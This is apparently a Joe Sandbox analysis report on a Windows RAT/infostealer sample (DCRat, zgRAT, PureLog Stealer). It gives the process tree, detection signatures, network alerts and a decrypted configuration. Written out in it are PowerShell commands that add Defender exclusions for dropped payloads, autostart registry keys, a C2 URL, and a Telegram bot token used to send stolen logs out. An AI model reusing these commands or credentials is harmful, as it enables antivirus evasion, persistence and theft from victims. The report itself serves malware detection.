Edit tour

Windows Analysis Report
VQdUvAQ4xO.exe

Overview

General Information

Sample name:	VQdUvAQ4xO.exe renamed because original name is a hash value
Original sample name:	c8ce6fc2028745f5eaf01a412d06acaa.exe
Analysis ID:	1596749
MD5:	c8ce6fc2028745f5eaf01a412d06acaa
SHA1:	4be17e69614ea35c4cd9939f84034e0e1e43a9a0
SHA256:	bd068366ec33c420f480a1085cf661ae74ab13ac83bda6ccc9997d5495bed125
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, ReverseShell, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected ReverseShell

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Drops executables to the windows directory (C:\Windows) and starts them

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

VQdUvAQ4xO.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\VQdUvAQ4xO.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

csc.exe (PID: 1720 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 3524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 1136 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A2D.tmp" "c:\Windows\System32\CSCA8FE6D7D9B7A4B07A0A2A3B7931FCBDF.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 2488 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4940 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\r6Lr6XbTWt.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7184 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\0eDO5Zbs.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7224 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 8168 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7296 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7332 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VQdUvAQ4xO.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7596 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\cJIROItyvb.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7832 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7916 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

r6Lr6XbTWt.exe (PID: 7548 cmdline: "C:\Windows\System32\r6Lr6XbTWt.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

tNOtXAG6xwxcUNu9tjBa.exe (PID: 8012 cmdline: "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

cmd.exe (PID: 2648 cmdline: "C:\Windows\System32\cmd.exe" /c "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tNOtXAG6xwxcUNu9tjBa.exe (PID: 8084 cmdline: "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

svchost.exe (PID: 1804 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

r6Lr6XbTWt.exe (PID: 6372 cmdline: "C:\Windows\System32\r6Lr6XbTWt.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

0eDO5Zbs.exe (PID: 5728 cmdline: "C:\Recovery\0eDO5Zbs.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

mENvqiIeFx.exe (PID: 3520 cmdline: "C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

JOajDppbSkfqSPK1G9zAbH.exe (PID: 1184 cmdline: "C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

VQdUvAQ4xO.exe (PID: 6708 cmdline: "C:\Users\user\Desktop\VQdUvAQ4xO.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

tNOtXAG6xwxcUNu9tjBa.exe (PID: 7732 cmdline: "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

r6Lr6XbTWt.exe (PID: 5212 cmdline: "C:\Windows\System32\r6Lr6XbTWt.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

0eDO5Zbs.exe (PID: 5468 cmdline: "C:\Recovery\0eDO5Zbs.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

mENvqiIeFx.exe (PID: 736 cmdline: "C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

JOajDppbSkfqSPK1G9zAbH.exe (PID: 4320 cmdline: "C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

VQdUvAQ4xO.exe (PID: 8044 cmdline: "C:\Users\user\Desktop\VQdUvAQ4xO.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

tNOtXAG6xwxcUNu9tjBa.exe (PID: 7936 cmdline: "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

r6Lr6XbTWt.exe (PID: 3864 cmdline: "C:\Windows\System32\r6Lr6XbTWt.exe" MD5: C8CE6FC2028745F5EAF01A412D06ACAA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
VQdUvAQ4xO.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
VQdUvAQ4xO.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\System32\r6Lr6XbTWt.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\System32\r6Lr6XbTWt.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\0eDO5Zbs.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\0eDO5Zbs.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1772742377.00000000005D2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1891369634.0000000012C1F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: VQdUvAQ4xO.exe PID: 1216	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: csc.exe PID: 1720	JoeSecurity_ReverseShell	Yara detected ReverseShell	Joe Security
Process Memory Space: r6Lr6XbTWt.exe PID: 7548	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.VQdUvAQ4xO.exe.5d0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.VQdUvAQ4xO.exe.5d0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ProcessId: 1720, TargetFilename: c:\Windows\System32\SecurityHealthSystray.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\VQdUvAQ4xO.exe", ParentImage: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ParentProcessId: 1216, ParentProcessName: VQdUvAQ4xO.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe', ProcessId: 2488, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ProcessId: 1216, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tNOtXAG6xwxcUNu9tjBa

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ProcessId: 1216, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\VQdUvAQ4xO.exe", ParentImage: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ParentProcessId: 1216, ParentProcessName: VQdUvAQ4xO.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline", ProcessId: 1720, ProcessName: csc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ProcessId: 1216, TargetFilename: C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\VQdUvAQ4xO.exe", ParentImage: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ParentProcessId: 1216, ParentProcessName: VQdUvAQ4xO.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe', ProcessId: 2488, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1804, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\VQdUvAQ4xO.exe", ParentImage: C:\Users\user\Desktop\VQdUvAQ4xO.exe, ParentProcessId: 1216, ParentProcessName: VQdUvAQ4xO.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline", ProcessId: 1720, ProcessName: csc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T13:22:29.114449+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49739	104.21.95.93	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T13:22:13.998572+0100	2803305	3	Unknown Traffic	192.168.2.4	49732	34.117.59.81	443	TCP
2025-01-22T13:22:34.389157+0100	2803305	3	Unknown Traffic	192.168.2.4	49749	34.117.59.81	443	TCP

Joe Security ANOMALY Telegram Send Photo

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-22T13:22:15.218847+0100	1810009	1	Potentially Bad Traffic	192.168.2.4	49733	149.154.167.220	443	TCP
2025-01-22T13:22:35.477191+0100	1810009	1	Potentially Bad Traffic	192.168.2.4	49751	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: VQdUvAQ4xO.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://525833cm.nyashnyash.ru/providerServerprotectTrafficDlePublic.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\cJIROItyvb.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Recovery\0eDO5Zbs.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	ReversingLabs: Detection: 73%
Source: C:\Recovery\0eDO5Zbs.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Desktop\NClzZRhR.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\NnjhOJZu.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\QCzpQABH.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\WWtOxrLm.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\XOSeUCEW.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\dGvExiJK.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\hJPUkngW.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\nluLvNRG.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\oGDUNCaL.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\oiVTRNgB.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\vSXJQEeZ.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\wMeJBGvi.log	ReversingLabs: Detection: 70%
Source: C:\Windows\System32\r6Lr6XbTWt.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: VQdUvAQ4xO.exe	Virustotal: Detection: 68%			Perma Link
Source: VQdUvAQ4xO.exe	ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\CEHidmAX.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\LuUydMov.log	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Joe Sandbox ML: detected
Source: C:\Recovery\0eDO5Zbs.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: VQdUvAQ4xO.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1891369634.0000000012C1F000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds"},"TelegramNotifer":{"chatid":"6401160547","bottoken":"7770813070:AAGqpOsmZAapb-pBsZQmM7BGLhdVdYw-7FQ","settings":"new user connect !\nID: {USERID}\nComment: {COMMENT}\nUsername: {USERNAME}\nPC Name: {PCNAME}\nIP: {IP}\nGEO: {GEO}","sendmessageonce":"True","sendloginfostealer":"True","stealersetting":"Log collected\nID: {USERID}\nComment: {COMMENT}\nLog size: {SIZE}"}}
Source: 00000000.00000002.1891369634.0000000012C1F000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-4J6ByaDz5UAU0y0XiBQ1","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]

Source: VQdUvAQ4xO.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Directory created: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Directory created: C:\Program Files\Windows Sidebar\5a424686c5d9ea	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Directory created: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Directory created: C:\Program Files\Windows Portable Devices\7252974aa180da	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Directory created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Directory created: C:\Program Files\Microsoft\b730a2198d720a	Jump to behavior

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49751 version: TLS 1.2

Source: VQdUvAQ4xO.exe

